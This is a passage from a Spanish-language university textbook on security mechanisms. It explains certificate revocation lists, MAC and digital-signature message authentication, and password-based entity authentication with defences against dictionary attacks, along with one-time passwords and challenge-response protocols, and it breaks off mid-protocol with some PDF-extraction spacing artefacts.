vez los certificados que hayan sido revocados. Cuando llegue la fecha de ca-

ducidad que constaba en el certificado, ya no será necesario volver a incluirlo

en la CRL. Esto permite que las CRL no crezcan indefinidamente.

Éstos son los campos de una CRL:
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.

Campo Tipo
toBeSigned

version (opc.) entero

signature

algorithm identificador único

parameters (depende del algoritmo)

issuer DN

thisUpdate fecha y hora

nextUpdate (opc.) fecha y hora

revokedCertificates (opc. rep.)

userCertificate entero

revocationDate fecha y hora

crlEntryExtensions (opc. rep.)

extnId identificador único

critical (opc.) booleano

extnValue (depende de la extensión)

crlExtensions (opc. rep.)

extnId identificador único

critical (opc.) booleano

extnValue (depende de la extensión)

algorithmIdentifier

algorithm identificador único

parameters (depende del algoritmo)

encrypted cadena de bits

El campoissuer identifica la CA que emite la CRL, y en el campore-

vokedCertificates se encuentra la lista de los certificados revocados

(cada uno identificado por su número de serie). A las extensiones de cada

elemento de la lista puede haber, por ejemplo, el motivo de la revocación.
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2. Sistemas de autenticación .

Uno de los servicios de seguridad que se requiere en muchas aplicaciones es el

de laautenticación. Este servicio permite garantizar que nadie ha falsificado

la comunicación.

.

Podemos distinguir dos tipos de autenticación:

• La autenticación de mensajeo autenticación de origen de datos
permite confirmar que el originadorA de un mensaje es auténtico,

es decir, que el mensaje no ha sido generado por un terceroZ que

quiere hacer creer que lo ha generadoA.

Como efecto adicional, la autenticación de mensaje proporciona im-

plícitamente el servicio deintegridad de datos, que permite confir-

mar que nadie ha modificado un mensaje enviado porA.

• La autenticación de entidadpermite confirmar la identidad de un

participanteA en una comunicación, es decir, que no se trata de un

terceroZ que dice serA.

A continuación veremos cómo se puede conseguir cada uno de estos dos tipos

de autenticación.

2.1. Autenticación de mensaje

Existen dos grupos de técnicas para proporcionar autenticación de mensaje:

• Los códigos de autenticación de mensajeo MAC , basados en claves

simétricas.
MAC

MAC es la sigla de
Message Authentication
Code.

• Lasfirmas digitales, que se basan en la criptografía de clave pública.

 FUOC • XP04/90789/00892



FUOC · P03/75070/02123 33 Mecanismos deprotección

2.1.1. Códigos de autenticación de mensaje (MAC)

.

Un código de autenticación de mensajeo MAC se obtiene con un

algoritmoa que tiene dos entradas: un mensajeM de longitud arbitraria,

y una clave secretak compartida por el originador y el destinatario del

mensaje. Como resultado da un códigoCMAC = a(k,M) de longitud

fija. El algoritmo MAC debe garantizar que sea computacionalmente

inviable encontrar un mensajeM′ 6= M que de el mismo código queM,

y también obtener el código de un mensaje cualquiera sin conocer la

clave.

Las propiedades de los algoritmos MAC hacen que dado un par(M,CMAC)
un atacante no pueda obtener otro par(M′,CMAC), ni en general cualquier par

(M′,C′MAC). Por tanto, el código MAC sirve como prueba de autenticidad del

mensaje.

Un posible algoritmo MAC consiste en aplicar al mensajeM un cifrado en
Código HMAC

Para calcular el código
HMAC, al mensaje se le
añade como prefijo una
cadena de bits derivada
de la clave, se calcula su
hash, al resultado se le
prefija otra cadena de bits
derivada de la clave, y se
vuelve a calcular el hash.
(Aun que se tenga que
llamar dos veces la
función hash, la segunda
será mucho más rápida
puesto que los datos a
resumir serán más
cortos.)

bloque en modo CBC con la clavek, y tomar el último bloque cifrado como

códigoCMAC. Normalmente, pero, los algoritmos MAC usados actualmente,

suelen estar basados en una funciónhash. Por ejemplo, la técnica de calcular

el resumen a partir de la concatenación del mensaje y la clave, o la de calcular

el resumen del mensaje y cifrarlo con la clave, podrían servir como algoritmos

MAC. Para mejorar la seguridad contra ciertos ataques, muchos protocolos us-

an una técnica de autenticación de mensajes un poco más sofisticada, conocida

como HMAC.

2.1.2. Firmas digitales

Los códigos MAC, dado que se basan en una clave secreta, sólo tienen signifi-

cado para quienes conozcan dicha clave. SiA envía mensajes aB autenticados

con una clave compartida, sóloB podrá verificar la autenticidad de estos men-

sajes.

Por otro lado, en caso de un conflicto en queA denegase la autoría de un

mensaje autenticado,B no podría demostrar delante de un tercero imparcial

(por ejemplo, un árbitro o un juez) que el mensaje lo generóA. Revelar la

clave secreta no sería prueba suficiente ya que, por el hecho de ser conocida

por las dos partes, siempre habría la posibilidad que el mensaje en disputa y el

su código de autenticación los hubiera generadoB.

En cambio, siA autentica los mensajes adjuntándoles la firma digital calculada

con su clave privada, todo el mundo podrá verificarlos con su clave pública.

Esta técnica de autenticación proporciona, como efecto adicional, el servicio
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deno repudio. Esto quiere decir que un destinatarioB puede demostrar feha-

cientemente ante un tercero que un mensaje ha sido generado porA.

Como hemos visto en el subapartado 1.2, los algoritmos de firma digital usa-

dos normalmente se basan en el cálculo de unhashy en un cifrado mediante

una clave privada. Son ejemplos de algoritmos de firma el RSA, el ElGamal,

y el estándar DSA (Digital Signature Algorithm).

2.2. Autenticación de entidad

La autenticación de entidad se utiliza cuando en una comunicación una de

las partes quiere asegurarse de la identidad de la otra. Normalmente, esta

autenticación es un requisito para permitir el acceso a un recurso restringido,

como, por ejemplo, una cuenta de usuario en un ordenador, dinero en efectivo

en un cajero automático, acceso físico a una habitación, etc.

En general, las técnicas utilizadas para la identificación de un usuarioApueden

estar basadas en:

• Algo queA sabecomo, por ejemplo, una contraseña o una clave privada.

• Algo queA tienecomo, por ejemplo, una tarjeta con banda magnética o

con chip.

• Algo queA eso, dicho de otro modo, alguna propiedad inherente aA como,

por ejemplo, sus características biométricas.
Técnicas biométricas

Las técnicas biométricas
hacen uso de
características fisiológicas
humanas (como la huella
dactilar, el iris, la retina, la
cara o la mano) o
características del
comportamiento humano
(como el habla, la firma
manual o la pulsación de
teclas).

La biometría es una disciplina relativamente moderna que es posible que ten-

ga una cierta implantación en un futuro próximo. Aun así, en este módulo

nos centraremos en las técnicas basadas en el intercambio de información por

medios electrónicos.

Una diferencia entre la autenticación de mensaje y la autenticación de entidad

es que la primera puede ser intemporal (es posible verificar la autenticidad

de un documento firmado, por ejemplo, diez años atrás) mientras que la se-

gunda normalmente se realiza en tiempo real. Esto quiere decir que para la

autenticación de entidad se puede llevar a cabo un protocolo interactivo, en el

que ambas partes se intercambien mensajes hasta que la identidad en cuestión

quede confirmada.

A continuación veremos dos grupos de técnicas que se pueden utilizar para la

autenticación de entidad:

• Las basadas encontraseñas(o passwords, en inglés), también llamadas

técnicas de autenticación débil.

• Las basadas enprotocolos de reto-respuesta(challenge-response, en in-
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glés), también llamadas técnicas de autenticación fuerte.

2.2.1. Contraseñas

La idea básica de la autenticación basada en contraseñas es que el usuarioA

manda su identidad (su identificador de usuario, su nombre delogin, etc.)

seguida de una contraseña secretaxA (una palabra o combinación de carac-

teres que el usuario pueda memorizar). El verificadorB comprueba que la

contraseña sea válida, y si lo es da por buena la identidad deA.

Existen distintas maneras de llevar a cabo esta autenticación, y también hay

maneras diversas de intentar atacarla. A continuación veremos algunas vari-

antes de la autenticación con contraseñas que intentan evitar determinados

tipos de ataques.

Lista de contraseñas en claro

La manera más simple de comprobar una contraseña es que el verificador tenga

una lista de las contraseñas asociadas a los usuarios, es decir, una lista de pares

(A,xA). CuandoA envía su contraseña, el verificador compara directamente el

valor recibidox′A con el que figura en la lista,xA.

.

A?

-
x′A

x′A
?= xA

B

(A,xA)

6

Si se trata de las contraseñas correspondientes a usuarios de un sistema infor-

mático, es evidente que no pueden estar guardadas en un fichero de acceso

público: es necesario que la lista esté protegida contra lectura. Pero si alguien

encuentra la manera de saltarse esta protección (cosa que en ocasiones pasa en

los sistemas multiusuario), automáticamente tendrá acceso a las contraseñas

de todos los usuarios.

A demás, en estos sistemas normalmente hay un usuario administrador o “super-

usuario” que tiene acceso a todos los ficheros, y por tanto a las contraseñas de

los usuarios. Un super-usuario que fuera mal intencionado podría hacer un

mal uso de este privilegio. O un super-usuario que tuviera un momento de

descuido podría dar pie a que otro usuario se aprovechara.
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Lista de contraseñas codificadas

Una segunda opción consiste en que en la lista de contraseñas, en lugar de

estar guardadas éstas en claro por pares(A,xA), cada una esté codificada con

alguna transformaciónC de manera que no se pueda deducir su valor real. De

este modo, la lista debe contener pares(A,C(xA)).

Esta codificaciónC podría ser, por ejemplo, un cifrado, pero entonces sería

preciso tomar las precauciones oportunas con la clave de descifrado (quien

consiguiera acceder a esta clave podría obtener todas las contraseñas). Lo

más habitual es que la codificación consista en la aplicación de una función

unidireccional como ,

por ejemplo, una funciónhash.

Para la verificación,B debe calcular el valor transformadoC(x′A) a partir de la

contraseña recibida, y compararlo con el que consta en la lista.

.

A?

-
x′A

C(x′A) ?= C(xA)

B

(A,C(xA))

6

Codificación de contraseñas en Unix

Un caso muy conocido es el de la gestión de las contraseñas en el sistema operativo
Unix, ya que la mayoría de las variantes de Unix usadas actualmente utilizan técnicas
muy parecidas, basadas en las versiones originales de este sistema.

En Unix existe un fichero en el que se guardan las contraseñas de los usuarios codi-
ficadas con una función unidireccional. Pero en lugar de una funciónhash, lo que se
utiliza es un cifrado simétrico: el texto en claro es fijo (una cadena de bits todos iguales
a 0), como clave de cifrado se utiliza la contraseña, y lo que se guarda en la lista es el
texto cifrado. De esta forma se aprovecha la propiedad que tienen los algoritmos crip-
tográficos que no permiten deducir la clave a partir del texto cifrado ni que se conozca
el texto en claro.

Dado que la codificación de las contraseñas es unidireccional, nadie (ni tan

siquiera el superusuario) puede saber cuál es la contraseña de cada usuario

aunque tenga acceso a la lista. Esto haría innecesaria la protección contra

lectura del fichero en el que hay la lista.

Pero, aunque la codificación no sea reversible, puede ser vulnerable a otro tipo

de ataque: la fuerza bruta. Si el atacante conoce la contraseña codificadaC(xA)
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y conoce el algoritmo de codificaciónC, puede probar de codificar posibles

contraseñas hasta encontrar un resultado que coincida conC(xA).

Existe un hecho que favorece al atacante en este caso: si los usuarios pueden

escoger sus contraseñas, normalmente no usarán combinaciones arbitrarias de

caracteres sino palabras fáciles de recordar. Por tanto, el espacio de búsqueda

se reduce considerablemente. El atacante puede, pues, limitarse a probar
Espacio de contraseñas

Si consideramos las
posibles combinaciones
de, por ejemplo,
8 caracteres (suponiendo
cada carácter
comprendido entre los
códigos ASCII 32 y 126,
es decir, 95 caracteres
distintos), existen 958

(aprox. 6.6·1015). En
cambio, hay estudios que
indican que una gran
parte de las contraseñas
que escogen los usuarios
se pueden encontrar en
un diccionario de 150000
palabras, un espacio 1010

veces menor.

palabras de un diccionario o combinaciones derivadas a partir de estas pala-

bras. Por este motivo a este tipo de ataque se lo conoce comoataque de
diccionario.

Programas “rompe-contraseñas”

Desde hace años existen los programas “rompe-contraseñas”, o“password crackers”
en inglés. A un programa de este tipo se le da una lista de contraseñas codificadas y
un diccionario, y va probando cada una de las palabras, tanto directamente como con
diferentes variaciones: todo minúsculas, todo mayúsculas, la primera letra mayúscula,
con las letras al revés, añadiendo una cifra numérica, añadiendo dos, cambiando ciertas
letras por cifras, etc. También puede probar combinaciones con datos adicionales como
los identificadores de los usuarios, sus nombres, apellido, etc.

Es sorprendente la cantidad de contraseñas que estos programas pueden llegar a en-
contrar en sólo unas pocas horas.

Técnicas para dificultar los ataques de diccionario

A continuación veremos algunas posibles técnicas para dificultar los ataques

de diccionario.

1) Ocultar la lista de contraseñas codificadas

Una primera solución es restringir el acceso a la lista de contraseñas, pro-

tegiéndola contra lectura. Aun que en la lista aparezcan las contraseñas

codificadas, el acceso a esta lista por parte de un atacante le permite re-

alizar cómodamente un ataque de diccionario.

Lista de contraseñas codificadas en Unix

En las versiones antiguas del sistema Unix, las contraseñas codificadas estaban en
el fichero/etc/passwd . Este mismo fichero se aprovechaba para guardar otros
datos sobre la cuenta de cada usuario: su directorio inicial, sushell, el nombre del
usuario, etc. Dado que esta información es de acceso público, el fichero/etc/
passwd tenia permiso de lectura para todos los usuarios.

En las versiones modernas de Unix continua existiendo un fichero/etc/passwd
de lectura pública con información sobre las cuentas de los usuarios, pero las con-
traseñas codificadas ya no se guardan en este fichero sino en otro,/etc/shadow ,
sobre el cual ningún usuario (excepto el super-usuario) tiene permiso de lectura.

Si el atacante no tiene acceso a la lista de contraseñas, ya no podrá realizar

un ataque “fuera de línea” (off-line), es decir, un ataque realizado en un

ordenador escogido por el atacante a su conveniencia (por ejemplo, un or-
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denador potente, donde nadie pueda ver que está haciendo, etc.). No le

quedará más remedio que realizar el ataque “en línea” (on-line), es decir,

directamente con el verificador real (por ejemplo, el programalogin del

sistema que quiere atacar), enviándole contraseñas para ver si las acepta o

no.

Si el verificador ve que alguien está realizando pruebas de autenticación

fallidas, esto es una señal de que puede tratarse de un ataque en línea.

Entonces puede tomar ciertas medidas para contrarrestar este ataque. Por

ejemplo, se puede conseguir que si se recibe un cierto número de con-

traseñas inválidas consecutivas, el recurso asociado quede bloqueado.

Protección contra ataques en las tarjetas con PIN

El mecanismo del bloqueo se utiliza típicamente en los métodos de autenticación
basados en dispositivos físicos, como las tarjetas bancarias o los módulos SIM
(Subscriber Identity Module) de los teléfonos móviles. Estos dispositivos requieren
que el usuario introduzca un PIN (Personal Identification Number), que hace las
funciones de contraseña.

Por motivos históricos y de conveniencia de los usuarios, este PIN es un número de
longitud corta (por ejemplo de cuatro cifras). En este caso, para evitar los ataques
de fuerza bruta (que sólo necesitarían 10.000 intentos como máximo), el dispositivo
se bloquea, por ejemplo, al tercer intento equivocado.

La protección que proporciona el bloqueo puede ser un inconveniente para

el usuario legítimo que no tiene ninguna culpa de que alguien haya inten-

tando descubrir su contraseña. Para evitarle este inconveniente, una posi-

bilidad es que cada usuario tenga asociada otra contraseña de desbloqueo,

mucho más difícil de adivinar (por ejemplo, un PIN de ocho cifras para

desbloquear el PIN de cuatro cifras).

Otra posibilidad consiste en permitir múltiples intentos de autenticación,

pero en lugar de responder inmediatamente con un mensaje de “contraseña

incorrecta”, demorar esta respuesta con un tiempo de retraso, que irá cre-

ciendo a medida que se vayan enviando más contraseñas erróneas por parte

del mismo usuario. Esto ralentizaría tanto un ataque que lo haría inviable

a partir de unos pocos intentos. Y cuando el usuario legítimo utilice su

contraseña correcta, el tiempo de respuesta será el normal.

2) Reglas para evitar contraseñas fáciles

La solución de ocultar la lista de contraseñas codificadas da una seguridad

parecida a la de la lista de contraseñas en claro. Si alguien descubre la lista

(saltándose la protección contra lectura), puede realizar sin más problemas

un ataque de diccionario.

Otro modo de dificultar este ataque es obligar a los usuarios a escoger con-

traseñas que cumplan unas determinadas reglas para que no sean fáciles de

adivinar. Por ejemplo:

• Que la contraseña tenga una longitud mínima.
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• Que no sea todo letras ni todo números.

• Que las letras no coincidan con ninguna palabra de diccionario ni con

combinaciones triviales de las palabras (como escribir las letras al revés,

etc.).

• Que la contraseña no se derive del identificador del usuario, de su nom-

bre, apellido, etc.

• Etc.

Con estas reglas se consigue que el espacio de contraseñas donde hacer la

búsqueda sea más grande del que es habitual, y el ataque de diccionario

necesite más tiempo.

Por otro lado, también es cierto que como más tiempo mantenga un usuario

su contraseña sin cambiar, más grande será la probabilidad que un atacante

consiga descubrirla. Por esto es recomendable que los usuarios renueven

las contraseñas periódicamente. Hay sistemas que implantan una política

de cambio forzado de contraseñas. A partir de un cierto período (por ejem-

plo, 90 días) la contraseña se considera caducada y el usuario la tiene que

cambiar por una de nueva.
Caducidad de las
contraseñas

Un tiempo de caducidad
de las contraseñas
demasiado corto también
podría ser
contraproducente, porque
si los usuarios deben
pensar muchas
contraseñas en poco
tiempo, pueden acabar
olvidando cual era la
última, o anotándola en
un papel, con lo cual la
contraseña es mucho más
vulnerable.

3) Añadir complejidad a la codificación de las contraseñas

Otra solución para dificultar los ataques de diccionario es ralentizarlos ha-

ciendo que cada contraseña cueste más de codificar. Por ejemplo, si el

algoritmo de codificación no es directamente una funciónhashsino un bu-

cle deN llamadas a la funciónhash, probar cada contraseña cuestaN veces

más.

El valor N se puede escoger tan grande como se quiera, pero teniendo en

cuenta que si es demasiado grande los usuarios legítimos también podrán

notar que la autenticación normal es más lenta.

Complejidad de la codificación de las contraseñas en Unix

La solución que se adoptó en Unix fue repetirN veces el cifrado para obtener la
contraseña codificada, y se escogió el valorN = 25.

Por tanto, aun que el atacante disponga de una implementación rápida del algoritmo
de cifrado, el tiempo esperado para romper una contraseña se multiplica por 25.

4) Añadir bits de sal a la codificación de las contraseñas

En el subapartado 1.1 hemos visto que, para variar el resultado del cifrado

aun que se utilice la misma clave con el mismo texto en claro, hay la posi-

bilidad de introducir los llamados “bits de sal” para modificar la clave. De

la misma manera, se puede definir un algoritmo de codificaciónCs que, a

más de la contraseña, tenga como entrada unos bits de sal.

De este modo, cada vez que un usuarioA cambie su contraseñaxA, se

generan aleatoriamente los bits de salsA y se guardan estos bits juntamente

con la contraseña codificadaCs(sA,xA). A la hora de verificar, se vuelve a
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calcular este valor a partir de los mismos bits de sal y se compara con el

valor guardado.

.

A?

-
x′A

Cs(sA,x′A) ?= Cs(sA,xA)

B

(A,sA,Cs(sA,xA))

6

Esta técnica no complica la verificación de una contraseña ni un ataque

de diccionario contra esta contraseña específica. Pero si el ataque de dic-

cionario se realiza sobre distintas contraseñas a la vez (por ejemplo, sobre

la lista entera de todos los usuarios, como hacen normalmente los progra-

mas rompe-contraseñas), el tiempo de cálculo se multiplica por el número

total de contraseñas, suponiendo que todas estén codificadas con bits de sal

distintos.

Esto es así porque, sin bits de sal, se puede tomar cada palabra del dic-

cionario, codificarla, y comparar el resultado con todas las contraseñas co-

dificadas. En cambio, si hay bits de sal, es preciso realizar una codificación

separada para cada contraseña, cada una con sus bits de sal correspondi-

entes.

Con los bits de sal también se evita una variante más eficiente del ataque de

diccionario, en la cual el atacante no va probando una a una las palabras,

sino que utiliza una lista preconstruida con las palabras del diccionario

ya codificadas. Si, por ejemplo, el diccionario contiene 150.000 palabras,

cuando no se utilizan bits de sal el atacante sólo tiene que buscar la con-

traseña codificada en una lista de 150.000 palabras codificadas. Pero si se

utilizan 12 bits de sal, el tamaño de la lista se multiplicaría por más de

4.000 (212 = 4.096), y el atacante debería trabajar con una lista de más de

seiscientos millones de palabras codificadas.

Otra ventaja de los bits de sal es que si, por casualidad, dos usuarios eli-

gen la misma contraseña, los valores codificados de sus contraseñas serán

distintos (si los bits de sal también lo son), y aunque vieran la lista de con-

traseñas, no sabrían que ambos tienen la misma.

Bits de sal en las contraseñas en Unix

En Unix se utilizan precisamente 12 bits aleatorios de sal (que se obtienen a partir
de los bits de menos peso de la hora en el momento en que el usuario se cambia la
contraseña). Esto significa que hay 4.096 valores posibles de estos bits. Una lista
completa de contraseñas codificadas a partir de un diccionario de 150.000 palabras
tendría que contener, pues, más de seiscientos millones de entradas. Esto podría
ser una cantidad descomunal en la época en que se desarrolló el sistema Unix, pero
actualmente una lista de estas dimensiones cabe perfectamente en el disco duro de
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cualquier ordenador personal.

Por otro lado, el algoritmo de cifrado que se utiliza en Unix para obtener la codi-
ficación de las contraseñas es el DES. Com hemos visto antes, para codificar una
contraseña se aplica un cifrado a un texto formado por todos los bits a 0, y se usa
la contraseña como clave de cifrado (esto explica porque las versiones estándar de
Unix sólo utilizan contraseñas de hasta 8 caracteres). En este caso, los bits de sal
no se utilizan para modificar la clave, sino que sirven para permutar ciertos bits de
los resultados intermedios que se obtienen en cada iteración del algoritmo DES.

Con esto se consigue otro objetivo: que un atacante no pueda utilizar directamente
una implementación eficiente del algoritmo DES (las más eficientes son los chips
DES, es decir, las implementaciones con hardware), sino que tenga que introducir
modificaciones (si se trata de un chip DES, es preciso ciertos recursos que no siem-
pre estan al alcance de cualquiera).

5) Uso depassphrases

La propiedad que aprovechan los ataques de diccionario es que el conjunto

de contraseñas que utilizan normalmente los usuarios es un subconjunto

muy pequeño de todo el espacio de contraseñas posibles.

Para ampliar este espacio se puede hacer que el usuario no utilice palabras

relativamente cortas, de unos 8 caracteres, sino frases más largas, llamadas

“passphrases”. La codificación de estaspassphrasespuede continuar sien-

do una función unidireccional, como por ejemplo una funciónhash(con la

misma longitud que en el caso de las contraseñas). La diferencia es que,

si antes la lista de contraseñas codificadas contenía valores de entre un to-

tal de unos 150000 distintos, conpassphrasescontendrá muchísimos más

valores posibles, y la búsqueda exhaustiva del ataque de diccionario será

mucho más larga.

Contraseñas de un solo uso

Todos los esquemas de autenticación con contraseñas que hemos visto hasta

ahora, a parte de los ataques de diccionario, son vulnerables a losataques de
repetición o de“replay” . Para llevar a cabo este ataque, hace falta interceptar

la comunicación entreA y B durante una autenticación, por ejemplo utilizando

unsniffer, y ver qual es el valorxA enviado. Entonces el atacanteZ sólo tiene
Sniffers

Ver los sniffers en el
módulo didáctico
“Vulnerabilidades en
redes TCP/IP”.

que realizar una autenticación delanteB enviándole este mismo valorxA, y B

se pensará que se trata del auténtico usuarioA.

Este tipo de ataque se evita con los protocolos de autenticación fuerte que

veremos a continuación. Pero existe otra técnica que, aun que se puede con-

siderar basada en contraseñas, tiene algunas propiedades de la autenticación

fuerte, entre ellas la resistencia a los ataques de repetición. Esta técnica es la

de las llamadascontraseñas de un solo uso(“one-time passwords”).

Como su nombre indica, las contraseñas de un solo uso son contraseñas que

sólo son válidas una vez, y a la vez siguiente es preciso utilizar una contraseña

distinta. Así, aun que el atacante vea que valor se está enviando para la auten-
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ticación, no le servirá de nada porqué ya no lo podrá volver a utilizar.

Existen distintas posibilidades para implementar la autenticación con con-

traseñas de un solo uso. Por ejemplo, podemos considerar las siguientes:

• Lista de contraseñas compartida:A y B se ponen de acuerdo, de manera

segura (es decir, no a través de un canal que pueda ser interceptado), en

una lista deN contraseñas. Si se trata de una lista ordenada, cada vez

queA se tenga que autenticar utilizará la siguiente contraseña de la lista.

Alternativamente, las contraseñas pueden tener asociado un identificador:

en cada autenticaciónB escoge una contraseña de las que aún no se hayan

utilizado, envía aA su identificador, yA debe responder con la contraseña

correspondiente.

• Contraseñas basadas en una función unidireccional (normalmente una fun-

ción hash): A escoge un valor secretox0 y utiliza una función unidirec-

cionalh para calcular los siguientes valores:

x1 = h(x0)

x2 = h(x1) = h2(x0)
...

xN = h(xN−1) = hN(x0)

y envía el valorxN aB (B debe asegurarse de que ha recibido este valor del

usuarioA auténtico).

EntoncesA inicializa un contadory a N. Cada vez que se tenga que au-

tenticar,A enviará el valorxy−1, y B aplicará la función unidireccional

a este valor, lo comparará con el que tiene guardado, y comprobará si

h(xy−1) = xy. Si se cumple esta igualdad, la contraseña es válida. Para

la siguiente vez,B sustituye el valor que tenía guardado,xy, por el que

acaba de recibir,xy−1, y A actualiza el contadory disminuyéndolo en 1.

Dado que la funciónh es unidireccional, nadie que vea el valorxy−1 sabrá

cuál es el valor que corresponderá la próxima vez (xy−2), ya queA obtu-

vo xy−1 comoh(xy−2), y hacer el cálculo inverso (es decir, obtenerxy−2 a

partir dexy−1) debe ser computacionalmente inviable.

La técnica de las contraseñas basadas en una funciónhashes más eficiente

que la de la lista compartida, porqueB sólo debe recordar el último valorxy

recibido.

Implementaciones de las contraseñas de un solo uso

Existen varias implementaciones de contraseñas basadas en una funciónhashcomo,
por ejemplo,S/KEY o OPIE. Con estos programas, cuando el usuarioA está conecta-
do de manera segura (por ejemplo localmente, es decir, frente a la consola) al sistema
servidor con el que se quiere autenticar, puede generar una lista deN contraseñas,
imprimirla, y llevarla encima cada vez que deba realizar una autenticación desde un
sistema remoto. Para facilitar la introducción de las contraseñas, el programa convierte
los bits en una secuencia de palabras cortas. Por ejemplo:
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. . .
90: BAND RISE LOWE OVEN ADEN CURB
91: JUTE WONT MEEK GIFT OWL PEG
92: KNOB QUOD PAW SEAM FEUD LANE
. . .

La traducción se hace a partir de una lista de 2048 palabras de hasta 4 caracteres, y a
cada una se le asigna una combinación de 11 bits.

El usuarioA no necesita recordar el valor del contadory, ya que este valor se guarda
en el servidor. A cada autenticación, el servidor envía el valor actual del contador, el
usuario lo utiliza para consultar su lista, y responde con la contraseña correspondiente.
Para la siguiente vez, el servidor actualizará el contador decrementándolo en 1.

2.2.2. Protocolos de reto-respuesta

El problema que tienen los esquemas de autenticación basados en contraseñas

es que cada vez que se quiere realizar la autenticación se tiene que enviar el

mismo valor al verificador (excepto en las contraseñas de un solo uso, como

acabamos de ver). Cualquier atacante que consiga interceptar este valor fijo

podrá suplantar la identidad del usuario a quien corresponda la contraseña.

Hay otro grupo de mecanismos donde el valor que se envía para la autenti-

cación no es fijo, sino que depende de otro, generado por el verificador. Este

último valor se llamareto, y se debe enviar al usuarioA como primer paso

para su autenticación. EntoncesA, haciendo uso de una clave secreta, calcula

unarespuestaa partir de este reto, y lo envía al verificadorB. Por este mo-

tivo, estos mecanismos de autenticación reciben el nombre deprotocolos de
reto-respuesta.

El algoritmo para calcular la respuesta debe garantizar que no se pueda obtener

sin saber la clave secreta. Esto permite al verificador confirmar que la respues-

ta sólo ha podido enviarlaA. Si se utiliza un reto distinto cada vez, un atacante

no podrá sacar provecho de la información que descubra interceptando la co-

municación.

Dependiendo del protocolo, el verificador puede generar los retos de diversas

maneras:

• Secuencialmente: en este caso el reto es simplemente un número que se va

incrementando cada vez (lo más normal es incrementarlo de uno en uno),

y que por tanto no se repetiré nunca.

• Aleatoriamente: el reto puede ser generado con un algoritmo pseudoaleato-

rio, pero la propiedad que tiene en este caso es que no es predecible para

los atacantes.

• Cronológicamente: el reto se obtiene a partir de la fecha y hora actuales

(con la precisión que sea adecuada para el protocolo). Este tipo de re-

to también se llamamarca de horao “timestamp”. El receptor, es decir
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quien quiere validar la identidad, puede utilizar la marca de hora para saber

si se trata de una nueva autenticación o si alguien quiere reutilizar los men-

sajes de otra autenticación para intentar un ataque de repetición.

La ventaja de los retos cronológicos es que, para obtenerlos, sólo es nece-

sario un reloj, que seguramente estará disponible en cualquier sistema,

mientras que con los secuenciales y los aleatorios es preciso mantener in-

formación de estado (el número de secuencia o la entrada para calcular

el siguiente número pseudoaleatorio) para evitar repeticiones. El inconve-

niente es que es precisa una cierta sincronía entre los relojes. Si se utilizan
Sincronía de relojes

Si el reto se obtiene a
partir de un reloj,
dependiendo del
protocolo puede ser
necesario que emisor y
receptor tengan los
relojes sincronizados, o
bien que se permita una
cierta tolerancia entre la
hora que ha enviado el
emisor y la que indica el
reloj del receptor. La
tolerancia tiene que ser tal
que permita diferencias
entre los relojes pero que
no de tiempo a un tercero
a realizar un ataque de
repetición.

técnicas como un servidor de tiempo que da la hora actual, también es pre-

ciso verificar que la hora obtenida sea auténtica, es decir, que un atacante

no nos está engañando haciéndonos creer que es la hora que le interesa.

Dispositivos par el cálculo de las respuestas

El cálculo de la respuesta se puede hacer con algún software diseñado a tal efecto, o
también se puede utilizar un dispositivo, parecido a una pequeña calculadora, que guar-
da la clave secreta. El usuario introduce el reto mediante el teclado de esta calculadora,
y en la pantalla aparece la respuesta.

Alternativamente, si el reto es cronológico, el dispositivo no tiene teclado sino que va
mostrando por la pantalla las respuestas en función de la hora actual (por ejemplo, cada
minuto), en sincronía aproximada con el reloj del verificador.

Para más seguridad, el dispositivo también puede estar protegido con un PIN.

Los protocolos de reto-respuesta se pueden clasificar en dos grupos:

• Los basados en técnicas simétricas, en las cuales la clave secreta es com-

partida por el usuarioA y el verificadorB.

• Los basados en técnicas de clave pública, en las cualesA utiliza una clave

privada para calcular la respuesta.

En la descripción de los protocolos que veremos a continuación, utilizaremos

la notación{a,b, . . .} para representar un mensaje que contiene los compo-

nentesa,b, . . ., y si alguno de estos componentes es opcional, lo representare-

mos entre corchetes como, por ejemplo,{a, [b]}.

Protocolos de reto-respuesta con clave simétrica

Si el protocolo de reto-respuesta se basa en una clavekAB compartida porA

y B, existen distintas formas de obtener esta clave. Por ejemplo, la pueden

haber acordado directamenteA y B de forma segura, o bien la pueden solicitar

a un servidor de claves centralizado.

1) Autenticación con marca de tiempo

El protocolo más simple es el que utiliza como reto implícito la hora ac-
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tual (no es preciso el envío del reto). El usuarioA obtiene una marca de

tiempotA y la manda al verificadorB cifrada con la clave compartida.

.

A

-
E(kAB,{tA, [B]})

B

El verificador descifra el mensaje recibido y comprueba si la marca de

tiempo es aceptable, es decir, si está dentro la tolerancia de sincronía y no

esta repetida.
Detección de repeticiones

Para saber si se esta
reutilizando una marca de
tiempo, el verificador
necesita recordar cuales
se han utilizado ya, pero
sólo las que estén dentro
del intervalo de tolerancia.
Pasado este intervalo ya
se puede borrar la marca
de la lista.

Si se utiliza la misma clave en los dos sentidos (deA a B y de B a A), el

hecho de incluir la identidad del verificadorB evita que, en un proceso de

autenticación mutua, un atacante intente hacerse pasar porB delante deA

repitiendo el mensaje en sentido contrario.

2) Autenticación con números aleatorios

En este caso es preciso enviar explícitamente el reto, que consiste en un

número aleatoriorB generado porB. La respuesta es el reto cifrado con la

clave compartida.

.

A

�
rB

-
E(kAB,{rB, [B]})

B

El verificador descifra el mensaje y comprueba que el número aleatorio que

contiene es igual al reto. El hecho de incluir la identidad del verificadorB

evita que el mensaje se pueda utilizar en sentido contrario si alguna vezA

genera como reto el mismo númerorB.

3) Autenticación mutua con números aleatorios

Con tres mensajes, el protocolo anterior se puede convertir en un protocolo

de autenticación mutua, es decir, deA delanteB y deB delanteA. En este

caso,A debe generar otro número aleatoriorA, que actuará como reto en

sentido inverso, y incluirlo en su respuesta.
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.

A

�
rB

-
E(kAB,{rA, rB, [B]})

�
E(kAB,{rB, rA})

B

CuandoB descifra la respuesta, además de comprobar que el valorrB sea el

esperado, también obtienerA, que deberá utilizar para enviar su respuesta

a A. EntoncesA comprueba que los dos números aleatoriosrA y rB tengan

los valores correctos.

Como sucedía anteriormente, la inclusión del identificador deB en el se-

gundo mensaje evita ataques de repetición en sentido contrario.

4) Autenticación con función unidireccional

Los protocolos anteriores hacen uso de un algoritmo de cifrado simétrico,

pero también es posible utilizar funciones unidireccionales con clave sec-

reta como, por ejemplo, los algoritmos de MAC. Para la verificación, en

lugar de descifrar es preciso comprobar que el MAC sea correcto y, por

tanto, los valores necesarios para calcularlo se han de enviar en claro.

A continuación se muestran las variantes de los protocolos anteriores cuan-

do se utiliza un algoritmo de MAC en lugar de un algoritmo de cifrado.

• Autenticación con marca de tiempo:

.

A

